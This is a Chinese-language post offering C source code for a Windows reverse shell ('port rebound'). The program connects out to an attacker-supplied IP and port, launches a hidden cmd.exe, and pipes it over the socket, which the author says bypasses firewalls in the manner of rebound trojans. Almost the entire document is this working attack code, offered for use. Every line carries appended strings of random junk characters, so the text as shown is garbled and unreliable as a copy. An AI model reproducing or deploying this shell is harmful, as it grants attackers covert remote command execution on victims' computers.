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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CV& SNA  
Zmp ^!|=X!  
/* ============================== h[lh01z  
Rebound port in Windows NT N86Hn]#  
By wind,2006/7 lq%s/l  
===============================*/ #v~5f;[AAs  
#include 9JUlu  
#include #K4wO!d  
6'Lij&,f?{  
#pragma comment(lib,"wsock32.lib") 7M$>'PfO  
Fe/*U4xU  
void OutputShell(); FJ2^0s/"  
SOCKET sClient; TnKe"TA|9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Zd5fr c$  
zCco/]h  
void main(int argc,char **argv) rsc8lSjH  
{ kj-S d^  
WSADATA stWsaData; s\KV\5\o  
int nRet; S&QZ"4jq  
SOCKADDR_IN stSaiClient,stSaiServer; goxgJOiB  
BGA.8qWR4  
if(argc != 3) )P,jpE8  
{ )D#*Q~   
printf("Useage:\n\rRebound DestIP DestPort\n"); .IYE"0)wJ  
return; '7E?|B0],  
} ^ 5UIbA(  
Qb SX'mx<  
WSAStartup(MAKEWORD(2,2),&stWsaData); c5t?S@b  
"0]i4d1l  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U9;AU] A  
Uq[NO JC  
stSaiClient.sin_family = AF_INET; gGZ$}vX  
stSaiClient.sin_port = htons(0); Gb MSO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fo5!d@Nv  
ikofJl]9  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z}pdcQl#  
{ ?5+=  
printf("Bind Socket Failed!\n"); J[<:-$E  
return; \Mi y+<8$  
} gN(8T_r  
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stSaiServer.sin_family = AF_INET; eR;cl$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RE*SdazY?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #^eviF8  
3 D+dM0wM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >S!QvyM(V  
{ ^Ji5)c  
printf("Connect Error!"); ffSecoX  
return; Rr:,'cXGi  
} //AS44^IS  
OutputShell(); #5'9T:8  
} !qy/'v4  
)WBTqML[  
void OutputShell()  C9*'.~  
{ 'KXvn0  
char szBuff[1024]; tTP"*Bb  
SECURITY_ATTRIBUTES stSecurityAttributes; CM~)\prks  
OSVERSIONINFO stOsversionInfo; 0A|.ch  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Cj ykM])  
STARTUPINFO stStartupInfo; 1'}~;?_  
char *szShell; zs7K :OlkA  
PROCESS_INFORMATION stProcessInformation; jMZ{>l.v  
unsigned long lBytesRead; 4Kx;F 9!%~  
xy[R9_V  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #,$d!l @  
jtN2%w;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); & XcY|y=W  
stSecurityAttributes.lpSecurityDescriptor = 0; 8wwD\1pLS  
stSecurityAttributes.bInheritHandle = TRUE; sH#UM(N  
Dmn6{jy P  
CB6<Vng}C  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UB=I>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]JtK)9  
:uqsRFo&4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,qt9S0 QS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,AWN *OS  
stStartupInfo.wShowWindow = SW_HIDE; Joe k4t&0<  
stStartupInfo.hStdInput = hReadPipe; ci|6SaY*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M"5,8Q`PkI  
+MXI;k_  
GetVersionEx(&stOsversionInfo); _kgw+NA&-H  
wD"Y1?Mr  
switch(stOsversionInfo.dwPlatformId) \~U8<z  
{ M2mte#h  
case 1: s8eFEi  
szShell = "command.com"; W}nD#9tL  
break; rsA K0R+  
default: HPm12&8,  
szShell = "cmd.exe"; t|d9EC]c(  
break; @ Al\:  
} hesL$Z [  
^P\(IDJCo  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?r#e  
jsc1B  
send(sClient,szMsg,77,0); .J'}qkz~  
while(1) X >C*(/a  
{  Wu9@Ecb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yp_:] RE  
if(lBytesRead) oJ>]=^?k  
{ k)dLJ<EM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OZs^c2 W  
send(sClient,szBuff,lBytesRead,0); (*BQd1Z  
} Pf-k"7y  
else X.bNU  
{ (q"Nt_y  
lBytesRead=recv(sClient,szBuff,1024,0); )<t5' +d%  
if(lBytesRead<=0) break; Hq3"OMGq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PiP\T.XANa  
} x{j|Tf3,G  
} W{Ine> a'  
nB WVG  
return; 6/Q'o5>NL:  
}
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